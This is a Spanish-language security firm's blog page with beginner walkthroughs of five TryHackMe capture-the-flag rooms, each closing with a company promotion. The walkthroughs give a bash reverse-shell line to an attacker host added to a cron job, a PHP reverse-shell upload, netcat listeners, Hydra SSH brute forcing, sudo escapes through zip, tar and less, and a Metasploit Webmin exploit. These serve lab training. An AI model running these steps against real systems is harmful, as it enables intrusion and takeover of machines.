¡Bienvenido al manual de Pentesting para principiantes en TomGhost TryHackMe! En esta guía, aprenderás los pasos básicos para realizar una prueba de penetración en la máquina TomGhost de la plataforma TryHackMe. A continuación, te explicaré los comandos y herramientas utilizadas en cada paso.
Paso 1: Comprobación de la conectividad
Para comenzar, es importante comprobar la conectividad con la máquina objetivo. Ejecuta el siguiente comando en tu terminal:
ping -c 1 <ipmaquina>
Este comando envía un paquete de solicitud de eco (ping) a la dirección IP de la máquina objetivo y espera una respuesta. Si recibes una respuesta exitosa, significa que tienes conectividad con la máquina.
Paso 2: Escaneo de puertos básico
Realizaremos un escaneo de puertos básico utilizando la herramienta nmap. Ejecuta el siguiente comando:
El comando nmap se utiliza para explorar los puertos abiertos en una máquina. En este caso, estamos escaneando todos los puertos disponibles en la máquina objetivo y guardando los resultados en el archivo «nmap_tomghost_nmap_basico».
Durante el escaneo, se identificaron los siguientes puertos abiertos y servicios correspondientes:
Puerto 22: Servicio SSH.
Puerto 53: Servicio DNS.
Puerto 8009: Desconocido.
Puerto 8080: Servicio HTTP.
Paso 3: Escaneo de puertos detallado
Ahora realizaremos un escaneo de puertos más detallado utilizando nmap. Ejecuta el siguiente comando:
Este comando realiza un escaneo exhaustivo en los puertos específicos que hemos seleccionado y guarda los resultados en el archivo «nmap_tomghost_completo».
Durante el escaneo, se encontraron los siguientes servicios:
Puerto 22: OpenSSH 7.2p (Servicio SSH seguro).
Puerto 8080: Apache Tomcat 9.0.30 (Servidor de aplicaciones web).
Paso 4: Búsqueda de vulnerabilidades en Apache Tomcat
En este paso, buscaremos vulnerabilidades conocidas en la versión de Apache Tomcat que hemos identificado (9.0.30). Para ello, clonaremos un repositorio de GitHub que contiene un exploit específico. Ejecuta el siguiente comando:
Este comando clona el repositorio «CVE-2020-1938» desde GitHub. El exploit contenido en este repositorio nos ayudará a buscar vulnerabilidades en Apache Tomcat.
Paso 5: Preparación del exploit para su ejecución
Antes de ejecutar el exploit, debemos asegurarnos de que el archivo sea ejecutable. Utiliza el siguiente comando:
chmod u+x tomcat.py
Este comando otorga permisos de ejecución al archivo «tomcat.py», lo que nos permitirá ejecutarlo en el siguiente paso.
Paso 6: Ejecución del exploit en Apache Tomcat
Ahora es el momento de ejecutar el exploit en Apache Tomcat utilizando el archivo «tomcat.py» que hemos preparado. Ejecuta el siguiente comando:
En este comando, reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. El exploit intentará aprovechar la vulnerabilidad en Apache Tomcat utilizando la ruta del archivo «/WEB-INF/web.xml» y el puerto «8009».
Durante la ejecución del exploit, se mostrarán posibles credenciales de acceso a la máquina.
Paso 7: Acceso por SSH utilizando las credenciales encontradas
Ahora que tenemos posibles credenciales de acceso, podemos intentar acceder a la máquina objetivo a través de SSH. Utiliza el siguiente comando:
ssh usuario@<ipmaquina>
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.
Una vez que hayas accedido a la máquina, podrás explorar el directorio y encontrar dos archivos: uno con extensión «.pgp» y otro con extensión «.asc». Descargaremos estos archivos para trabajar con ellos y descifrarlos.
Paso 8: Creación de un servidor HTTP en la máquina objetivo
Para descargar los archivos desde la máquina objetivo, necesitamos configurar un servidor HTTP en la máquina objetivo. Ejecuta el siguiente comando:
python3 -m http.server
Este comando utiliza el módulo http.server de Python para crear un servidor HTTP en la máquina objetivo. Esto nos permitirá descargar archivos desde la máquina objetivo a nuestro equipo atacante.
Paso 9: Descarga de archivos desde la máquina atacante
Ahora podemos descargar los archivos necesarios desde la máquina objetivo. Utiliza el siguiente comando:
wget <ipmaquina>:8000/archivos
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. Este comando utiliza la herramienta wget para descargar el directorio «archivos» desde el servidor HTTP en la máquina objetivo a tu equipo atacante.
Paso 10: Desencriptación de archivos
Los archivos que hemos descargado están encriptados. Para desencriptarlos, seguiremos los siguientes pasos:
Convierte el archivo «.asc» en un formato compatible con «John the Ripper» utilizando el siguiente comando:
gpg2john tryhackme.asc > hash
Este comando convierte el archivo «tryhackme.asc» en un formato que puede ser utilizado por «John the Ripper» y guarda los resultados en el archivo «hash».
Utiliza «John the Ripper» junto con un diccionario de contraseñas para intentar descifrar el archivo encriptado. Ejecuta el siguiente comando:
john --wordlist=/ruta/diccionario hash
Asegúrate de reemplazar «/ruta/diccionario» con la ruta correcta de tu diccionario de contraseñas.
Paso 11: Importación y desencriptación de archivos GPG
Una vez que hayas descifrado el archivo, importa la clave pública GPG desde el archivo «tryhackme.asc» a la lista de claves GPG utilizando el siguiente comando:
gpg --import tryhackme.asc
Luego, utiliza el siguiente comando para desencriptar el archivo «credential.pgp» utilizando la clave privada correspondiente:
gpg --decrypt credential.pgp
Paso 12: Acceso nuevamente por SSH con las nuevas credenciales
Ahora que tenemos las nuevas credenciales, podemos intentar acceder a la máquina objetivo nuevamente utilizando SSH. Ejecuta el siguiente comando:
ssh merlin@<ipmaquina>
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.
Paso 13: Captura de la primera bandera
Una vez que hayas accedido a la máquina como usuario «merlin», puedes capturar la primera bandera ejecutando el siguiente comando:
cat user.txt
Este comando muestra el contenido del archivo «bandera1.txt», que contiene la primera bandera obtenida durante el acceso como usuario «merlin».
Paso 14: Escalada de privilegios
Para realizar una escalada de privilegios, ejecuta el siguiente comando para verificar los privilegios disponibles para el usuario actual:
sudo -l
Este comando muestra los privilegios disponibles para el usuario actual y verifica si se tiene permiso para ejecutar comandos con privilegios de root. En este caso, encontramos la siguiente línea: «(root : root) NOPASSWD: /usr/bin/zip».
Paso 15: Escalada de privilegios con «zip»
Ahora que hemos identificado una posible forma de escalada de privilegios utilizando «zip», podemos aprovecharla. Seguiremos los siguientes pasos:
Utiliza el siguiente comando para ejecutar la escalada de privilegios:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
Este comando utiliza la vulnerabilidad en la configuración de «sudoers» para ejecutar el comando «zip» con privilegios de root. Crea un archivo temporal único y utiliza «sudo zip» para comprimir el archivo «/etc/hosts» y ejecutar un shell interactivo («sh») con privilegios de root.
Paso 17: Captura de la última bandera
Una vez que hayas obtenido privilegios de root, puedes capturar la última bandera ejecutando el siguiente comando:
cat root.txt
Este comando muestra el contenido del archivo «root.txt», que contiene la última bandera obtenida como usuario root.
Resumen TomGhost TryHackMe
En resumen, hemos realizado un proceso de pentesting en la máquina «tomghost» de TryHackMe. Los pasos seguidos fueron los siguientes:
Comprobación de la conectividad con la máquina objetivo.
Escaneo de puertos básico utilizando Nmap.
Escaneo de puertos detallado para obtener información adicional sobre los servicios.
Búsqueda de vulnerabilidades en Apache Tomcat utilizando un exploit específico.
Preparación y ejecución del exploit en Apache Tomcat.
Acceso por SSH utilizando las credenciales obtenidas.
Descarga de archivos desde la máquina objetivo.
Desencriptación de archivos utilizando GPG.
Acceso nuevamente por SSH con las nuevas credenciales.
Captura de la primera bandera.
Escalada de privilegios utilizando la vulnerabilidad en «sudoers» y el comando «zip».
Captura de la última bandera como usuario root.
Esta experiencia nos permitió adquirir conocimientos sobre el proceso de pentesting, desde la exploración y escaneo de puertos hasta la escalada de privilegios en un entorno controlado.
Recomendación de DCSeguridad
¡Te invitamos a ponerte en contacto con DCSeguridad y unirte a nuestro canal de Telegram!
DCSeguridad es una empresa líder en servicios de seguridad informática y pentesting. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu infraestructura y aplicaciones contra amenazas cibernéticas.
Te animamos a ponerte en contacto con nosotros para obtener más información sobre cómo podemos asegurar tu empresa y brindarte soluciones personalizadas. Únete a nuestro canal de Telegram para recibir las últimas actualizaciones y consejos de seguridad.
No dejes que tu empresa sea vulnerable a ataques cibernéticos. Confía en DCSeguridad para fortalecer tu seguridad y proteger tus activos digitales.
¡Contáctanos hoy mismo y mantén tu negocio seguro en el mundo digital!
¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!
Paso 1: Configuración inicial de Startup TryHackMe
Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.
Paso 2: Comprobación de disponibilidad
Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.
Paso 3: Escaneo inicial de puertos
Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:
nmap -p- ipmaquina -oN nmap_startup_inicial
Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:
21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Paso 4: Escaneo exhaustivo de puertos
Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:
Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.
Paso 5: Evaluación del acceso anónimo al FTP
Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando «get» para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.
Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe
Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:
Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.
Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe
Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando «put shell.php» para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.
Paso 8: Ganar acceso utilizando la shell reversa
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 1234
Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.
Paso 9: Configuración de un servidor HTTP en la máquina objetivo
Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:
python -m http.server
Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.
Paso 10: Descarga e inspección del archivo de Wireshark
Desde nuestra máquina atacante, ejecutamos el siguiente comando:
wget http://ipmaquinaatacada:8000/archivo
Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.
Paso 11: Acceso por SSH utilizando el usuario «lennie»
Accedemos por SSH a la máquina objetivo utilizando el usuario «lennie». Esto se puede hacer utilizando el comando «ssh usuario@ipmaquina». Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1. Guardamos los cambios y ejecutamos el comando «crontab -e» para configurar un cron que se ejecute cada minuto.
Paso 12: Obtención de acceso root
Agregamos la siguiente línea al archivo crontab:
* * * * * /bin/bash /etc/print.sh
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 443
Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.
Resumen Startup TryHackMe
En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario «lennie» y escalamos privilegios para obtener acceso root.
Confía en DCSeguridad
Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!
En este artículo, te guiaré a través de los pasos fundamentales para realizar un pentesting en la máquina Brooklyn TryHackMe. Este manual está especialmente diseñado para principiantes que se están iniciando en el mundo del pentesting. Aprenderás cómo realizar un escaneo de puertos, enumerar servicios, obtener acceso a un servidor FTP, realizar un ataque de diccionario y escalar privilegios. ¡Comencemos!
Paso 1: Preparación
Antes de empezar, asegúrate de tener un directorio de trabajo en tu máquina local para organizar los archivos relacionados con la máquina objetivo. Puedes crearlo utilizando el siguiente comando:
mkdir directorio_maquina
Además, para facilitar el acceso a la máquina objetivo, añadiremos su dirección IP al archivo hosts de tu sistema operativo. Abre el archivo con privilegios de administrador utilizando el siguiente comando:
sudo nano /etc/hosts
Agrega una nueva línea en el siguiente formato: <ip_maquina> nombre_maquina. Guarda y cierra el archivo.
Paso 2: Verificación de la Conexión
Para verificar la conectividad con la máquina objetivo, realizaremos un ping a su dirección IP. Utiliza el siguiente comando:
ping -c 1 <ip_maquina>
Verifica el TTL en la respuesta del ping, ya que nos proporcionará información sobre el sistema operativo de la máquina.
Paso 3: Escaneo Inicial de Puertos
Realizaremos un escaneo inicial de puertos abiertos en la máquina objetivo utilizando la herramienta Nmap. Ejecuta el siguiente comando:
nmap -p- <ip_maquina> -oN nmap_inicial
Este comando escaneará todos los puertos de la máquina y guardará los resultados en el archivo «nmap_inicial». Observa los puertos abiertos encontrados para continuar con el análisis.
Paso 4: Escaneo Exhaustivo de Puertos
Realizaremos un escaneo más detallado de los puertos encontrados en el paso anterior utilizando Nmap. Ejecuta el siguiente comando:
Este comando escaneará los puertos 21, 22 y 80 utilizando distintas técnicas de escaneo y enumeración de servicios. Los resultados se guardarán en el archivo «nmap_completo». Observa los servicios identificados en los puertos para obtener más información sobre ellos.
Paso 5: Acceso al Servidor FTP de Brooklyn TryHackMe
Accederemos al servidor FTP en la máquina objetivo utilizando el usuario anónimo y descargaremos un archivo a tu directorio de trabajo. Sigue estos pasos:
Conéctate al servidor FTP utilizando el siguiente comando:
ftp <ip_maquina>
Ingresa «anonymous» como nombre de usuario y presiona Enter (sin contraseña).
Navega hasta el directorio donde se encuentra el archivo que deseas descargar.
Utiliza el comando get archivo.txt para descargar el archivo al directorio local de tu máquina.
Cierra la conexión FTP.
Paso 6: Ataque de Diccionario en el Servicio SSH
Analizaremos el contenido del archivo descargado en el paso anterior para obtener un posible nombre de usuario. Luego, realizaremos un ataque de diccionario en el servicio SSH utilizando la herramienta Hydra. Sigue estos pasos:
Abre el archivo descargado utilizando el siguiente comando:
cat archivo.txt
Examina el contenido del archivo para encontrar un posible nombre de usuario (por ejemplo, «jake»).
Ejecuta un ataque de diccionario utilizando Hydra. Utiliza el siguiente comando como ejemplo, pero asegúrate de reemplazar <ruta_diccionario> con la ubicación real del diccionario en tu máquina:
Copia el archivo /etc/passwd a tu directorio de trabajo con el siguiente comando:
cp /etc/passwd privilege_escalation.txt
Ejecuta el comando «less» con privilegios de sudo y carga el archivo /etc/passwd con el siguiente comando:
sudo less privilege_escalation.txt
Dentro de «less», ingresa !/bin/sh y presiona Enter. Esto ejecutará una shell interactiva con privilegios de root.
Una vez que obtengas acceso de root, podrás buscar la segunda bandera y realizar cualquier otra actividad necesaria.
Resumen Brooklyn TryHackMe
En este manual, hemos realizado los siguientes pasos de pentesting en la máquina Brooklyn de TryHackMe:
Preparación del entorno, creando un directorio de trabajo y configurando el archivo hosts.
Verificación de la conectividad con la máquina objetivo a través de un ping.
Escaneo inicial de puertos utilizando Nmap.
Escaneo exhaustivo de puertos utilizando Nmap y obtención de información sobre los servicios.
Acceso al servidor FTP y descarga de un archivo.
Análisis del archivo descargado y realización de un ataque de diccionario en el servicio SSH utilizando Hydra.
Escalada de privilegios utilizando el exploit «sudo-less» para el comando «less».
Hemos tenido éxito en nuestro objetivo de realizar un pentesting básico en la máquina Brooklyn de TryHackMe. A través de estos pasos, hemos adquirido conocimientos sobre escaneo de puertos, enumeración de servicios, acceso a servicios y escalada de privilegios.
¡Contáctanos y Únete a Nuestro Canal de Telegram!
Si deseas más información sobre nuestros servicios de seguridad informática o tienes preguntas adicionales, te invitamos a contactar a DCSeguridad. Puedes visitar nuestro sitio web para obtener más detalles y unirte a nuestro canal de Telegram. Estaremos encantados de ayudarte y proporcionarte soporte en tus proyectos de seguridad.
Recuerda que el pentesting debe llevarse a cabo de manera ética y con el permiso del propietario del sistema objetivo.
Hoy os traemos la resolucion de la máquina Bounty Hacker TryHackMe (https://tryhackme.com/room/cowboyhacker) paso a paso, hemos eliminado contraseñas y banderas.
Antes de comenzar con la configuración de la máquina, es altamente recomendable realizar una actualización completa del sistema operativo Linux. Esto se puede lograr ejecutando el siguiente comando en la terminal:
apt update && apt upgrade
Este comando actualizará todas las herramientas y paquetes del sistema a su versión más reciente, lo que garantiza que estemos utilizando las versiones más seguras y actualizadas.
Paso 1: Crear un directorio de trabajo para Bounty Hacker TryHackMe
Después de completar la actualización, procedemos a crear un directorio de trabajo para nuestra máquina. Esto nos ayudará a mantener los archivos y herramientas organizados durante el proceso de análisis y exploración. Puede utilizar el siguiente comando para crear un directorio:
mkdir directorio_trabajo
Paso 2: Verificar la disponibilidad de la máquina objetivo
Es importante verificar si la máquina objetivo está en línea y disponible antes de continuar. Podemos hacer esto usando el comando ping y especificando la dirección IP de la máquina:
ping -c 1 <ipmaquina>
Si recibimos una respuesta exitosa, significa que la máquina está levantada y lista para ser analizada.
Paso 3: Escaneo inicial con Nmap de Bounty Hacker TryHackMe
A continuación, realizaremos un escaneo inicial de la máquina utilizando la herramienta Nmap. Esto nos permitirá identificar los puertos abiertos y obtener información sobre los servicios que se están ejecutando en la máquina. El comando para realizar el escaneo con Nmap es el siguiente:
nmap -A <ipmaquina> -oN nmap_bounty_inicial
Una vez completado el escaneo, revisaremos los resultados para identificar los puertos abiertos. En este caso, se encontraron los puertos 21, 22 y 80 abiertos en la máquina objetivo.
Paso 4: Acceso al FTP y descarga de archivos
Como se detectó que el servicio FTP permite el acceso anónimo, procederemos a acceder a la máquina y descargar los archivos que se encuentren disponibles. Esto se logra utilizando un cliente FTP y proporcionando la dirección IP de la máquina. Una vez conectado, podemos utilizar los comandos ls para enumerar los archivos y get para descargarlos.
Paso 5: Ataque de fuerza bruta utilizando Hydra
Al examinar los archivos descargados, se identifica que uno de ellos parece ser una lista de contraseñas. Aprovecharemos esta información para realizar un ataque de fuerza bruta utilizando la herramienta Hydra y el diccionario de contraseñas encontrado.
El siguiente comando muestra cómo utilizar Hydra para realizar un ataque de fuerza bruta contra el servicio SSH en la máquina objetivo:
hydra -l usuario -P locks.txt <ipmaquina> ssh
Este comando intentará iniciar sesión en el servicio SSH utilizando el nombre de usuario «usuario» y las contraseñas del archivo «locks.txt». Si se encuentra una coincidencia exitosa, Hydra mostrará la contraseña y podremos acceder al sistema SSH de la máquina.
Paso 6: Acceso por SSH
Una vez obtenida la contraseña, podemos iniciar sesión por SSH en la máquina objetivo utilizando el siguiente comando:
ssh usuario@<ipmaquina>
Reemplaza `<ipmaquina>` con la dirección IP real de la máquina objetivo y proporciona la contraseña obtenida previamente.
Paso 7: Exploración de escalada de privilegios
Después de acceder al sistema, nuestro objetivo será encontrar las banderas que se encuentren ocultas en la máquina. Una vez que se obtenga la primera bandera, es importante evaluar las posibilidades de escalada de privilegios en el sistema.
Para determinar si hay alguna posibilidad de escalada de privilegios, ejecutaremos el siguiente comando:
sudo -l
Este comando mostrará los privilegios y comandos disponibles para el usuario actual. Si se encuentra alguna configuración especial o se identifica una posible vulnerabilidad, se debe investigar más para explorar dicha escalada de privilegios.
Paso 8: Escalada de privilegios utilizando GTFOBins
En este caso, al ejecutar sudo -l, se observa que se permite ejecutar el comando /bin/tar con privilegios de root. Esto nos da una oportunidad para obtener acceso como superusuario utilizando una técnica conocida como «GTFOBins». Puedes encontrar más información sobre esta técnica en el enlace: https://gtfobins.github.io/gtfobins/tar/#sudo
A continuación, ejecutaremos el siguiente comando para aprovechar la escalada de privilegios utilizando tar:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Este comando creará un archivo de respaldo en /dev/null mientras ejecuta un shell (/bin/sh) con privilegios de root. Al ejecutar este comando, nos convertiremos en superusuario (root).
Paso 9: Búsqueda y obtención de banderas en Bounty Hacker TryHackMe
Una vez que tenemos privilegios de root, podemos buscar y obtener la siguiente bandera en la máquina comprometida.
Recuerda siempre actuar de acuerdo a las leyes y ética aplicables durante cualquier actividad de ciberseguridad y asegúrate de tener la autorización adecuada para realizar cualquier prueba en un sistema.
Confía en DCSeguridad
Si deseas obtener más información sobre ciberseguridad o necesitas asesoramiento profesional para proteger tus sistemas, te invitamos a contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en ciberseguridad está listo para ayudarte en cualquier desafío que enfrentes. También puedes unirte a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad.
¡Protege tu negocio y mantén tus sistemas seguros!
Manual de Pentesting para Principiantes Utilizando la Máquina Source TryHackMe. Máquina para empezar en el pentesting y en el uso de herramientas como nmap y metasploit
Parte 1: Preparación
Antes de comenzar con el pentesting en la máquina Source, es importante realizar algunas configuraciones iniciales.
Paso 1: Crear directorio de trabajo y editar el archivo de hosts Source TryHackMe
Descripción: Para organizar el proyecto, crearemos un directorio de trabajo y editaremos el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
Comandos:
Crear directorio de trabajo: Abre una terminal y ejecuta el siguiente comando: mkdir directorio_trabajo
Editar archivo hosts: Ejecuta nano /etc/hosts para abrir el archivo hosts en el editor de texto.
Agregar la siguiente línea al archivo hosts: <ip_maquina> nombredominio (reemplaza <ip_maquina> con la dirección IP de la máquina objetivo y «nombredominio» con el nombre que desees asignar).
Parte 2: Escaneo y Reconocimiento de Source TryHackMe
El escaneo y reconocimiento son pasos fundamentales en un pentesting. Nos permiten obtener información sobre la máquina objetivo y los servicios que están en ejecución.
Paso 2: Realizar ping a la máquina y descubrir el TTL
Descripción: Realiza un ping a la dirección IP de la máquina objetivo para verificar que está en línea y obtener información como el TTL (Time To Live).
Comando: Abre una terminal y ejecuta el siguiente comando: ping -c 1 <ip_maquina>
TTL: El TTL obtenido en la respuesta del ping puede ayudarnos a identificar el sistema operativo de la máquina objetivo. Un TTL de 63 generalmente indica un sistema operativo Linux.
Paso 3: Hacer un primer escaneo con nmap en Source TryHackMe
Descripción: Realiza un escaneo de puertos básico utilizando nmap para identificar los servicios asociados a los puertos abiertos.
Comando: En la terminal, ejecuta: nmap -sVC -oN nmap_source <ip_maquina>
Servicios encontrados:
Puerto 22: El servicio asociado al puerto 22 es SSH (Secure Shell), que proporciona un acceso remoto seguro a la máquina.
Puerto 10000: Es posible que este puerto esté asociado a Webmin, un panel de administración web para sistemas Unix.
Parte 3: Escaneo Completo y Detección de Vulnerabilidades en Source TryHackMe
El siguiente paso es realizar un escaneo completo de puertos en la máquina objetivo y utilizar herramientas para detectar vulnerabilidades.
Paso 4: Escaneo completo de la máquina con nmap
Descripción: Realiza un escaneo completo de puertos en la máquina objetivo, identificando los servicios y versiones asociados a cada puerto. También utiliza scripts de detección de vulnerabilidades.
Comando: Ejecuta en la terminal: nmap -p 22,10000 -sCVS --min-rate 5000 -v -n -Pn <ip_maquina> -oN nmap_source_completo
Desglose de los comandos:
-p 22,10000: Escanea únicamente los puertos 22 y 10000.
-sCVS: Realiza un escaneo de versiones y scripts de detección de vulnerabilidades.
--min-rate 5000: Establece una tasa mínima de envío de paquetes para acelerar el escaneo.
-v: Activa el modo verboso para obtener más información detallada.
-n: Desactiva la resolución de nombres DNS.
-Pn: Ignora el descubrimiento de host y trata todas las direcciones como en línea.
-oN nmap_source_completo: Guarda los resultados en un archivo llamado «nmap_source_completo».
Paso 5: Búsqueda de exploits para versiones vulnerables
Descripción: Busca exploits disponibles en Metasploit para las versiones específicas de OpenSSH (7.6p1) y Webmin (1.920).
Comandos en Metasploit:
Ejecuta msfconsole en la terminal para iniciar Metasploit.
Utiliza search webmin 1.920 para buscar exploits relacionados con Webmin 1.920.
Selecciona el exploit específico que deseas utilizar con el comando use X.
Utiliza options para ver y configurar las opciones del exploit seleccionado.
Establece la dirección IP de la máquina objetivo como objetivo del exploit con el comando set RHOSTS <ip_maquina>.
Establece la dirección IP de la interfaz «tun0» o la dirección IP de tu VPN como dirección de origen del exploit con el comando set LHOST tun0.
Habilita el uso de SSL en la comunicación con set SSL yes.
Ejecuta el exploit con el comando run y realiza el intento de explotación.
Parte 4: Mejora de la Shell y Exploración
Después de obtener acceso a la máquina objetivo, podemos mejorar la shell y explorar los directorios y archivos relevantes en busca de banderas o evidencias.
Paso 6: Mejora de la shell con Meterpreter
Descripción: Mejora la shell obtenida mediante el exploit utilizando Meterpreter para obtener capacidades avanzadas.
Comandos en Metasploit:
Presiona Ctrl + Z para poner en pausa Metasploit y acceder al shell.
Utiliza search shell_to_meterpreter para buscar una carga útil compatible con la mejora de shell a Meterpreter.
Selecciona la carga útil específica que deseas utilizar con el comando use 0.
Establece la sesión en la que se encuentra la shell para la mejora a Meterpreter con set SESSION 1.
Ejecuta la carga útil y realiza la mejora de shell con el comando run.
Para acceder a Meterpreter, utiliza el comando sessions 2.
Paso 7: Exploración y búsqueda de banderas
Descripción: Una vez obtenido el acceso a la máquina, explora los directorios y archivos relevantes para encontrar las banderas o evidencias requeridas.
¡Enhorabuena! Has realizado los pasos necesarios para escanear, identificar vulnerabilidades y obtener acceso a la máquina objetivo. Recuerda que este manual es con fines educativos y solo debe ser utilizado en sistemas y redes donde tengas autorización para realizar pruebas de penetración.
Resumen y Tipo de Máquina de Source TryHackMe
En este manual, hemos cubierto los pasos esenciales para realizar un pentesting en la máquina Source. Comenzamos preparando nuestro entorno de trabajo y editando el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
Luego, realizamos un escaneo inicial utilizando nmap para identificar los servicios asociados a los puertos abiertos. Continuamos con un escaneo completo de la máquina objetivo, utilizando nmap para obtener información detallada sobre los servicios y versiones.
A continuación, exploramos la búsqueda de exploits para versiones vulnerables en Metasploit y utilizamos diferentes comandos para configurar y ejecutar un exploit específico.
Una vez obtenido el acceso a la máquina, mejoramos nuestra shell utilizando Meterpreter para obtener capacidades avanzadas y exploramos los directorios y archivos relevantes en busca de banderas o evidencias.
En resumen, hemos seguido una metodología de pentesting que abarca desde el escaneo y reconocimiento inicial hasta la explotación y la exploración de la máquina objetivo.
Confía en DCSeguridad
Si estás interesado en fortalecer la seguridad de tu empresa y proteger tu red contra posibles vulnerabilidades, te invitamos a contactar a DCSeguridad. Somos expertos en ciberseguridad y podemos ayudarte a evaluar y mejorar la seguridad de tu infraestructura. También te invitamos a unirte a nuestro canal de Telegram, donde compartimos información relevante sobre seguridad y te mantendremos al tanto de las últimas noticias y tendencias en el campo de la ciberseguridad.
¡No esperes más para proteger tu empresa! Contáctanos y fortalece tu seguridad hoy mismo.
Para ofrecer las mejores experiencias, utilizamos tecnologías como las cookies para almacenar y/o acceder a la información del dispositivo. El consentimiento de estas tecnologías nos permitirá procesar datos como el comportamiento de navegación o las identificaciones únicas en este sitio. No consentir o retirar el consentimiento, puede afectar negativamente a ciertas características y funciones.
Funcional
Siempre activo
El almacenamiento o acceso técnico es estrictamente necesario para el propósito legítimo de permitir el uso de un servicio específico explícitamente solicitado por el abonado o usuario, o con el único propósito de llevar a cabo la transmisión de una comunicación a través de una red de comunicaciones electrónicas.
Preferencias
El almacenamiento o acceso técnico es necesario para la finalidad legítima de almacenar preferencias no solicitadas por el abonado o usuario.
Estadísticas
El almacenamiento o acceso técnico que es utilizado exclusivamente con fines estadísticos.El almacenamiento o acceso técnico que se utiliza exclusivamente con fines estadísticos anónimos. Sin un requerimiento, el cumplimiento voluntario por parte de tu proveedor de servicios de Internet, o los registros adicionales de un tercero, la información almacenada o recuperada sólo para este propósito no se puede utilizar para identificarte.
Marketing
El almacenamiento o acceso técnico es necesario para crear perfiles de usuario para enviar publicidad, o para rastrear al usuario en una web o en varias web con fines de marketing similares.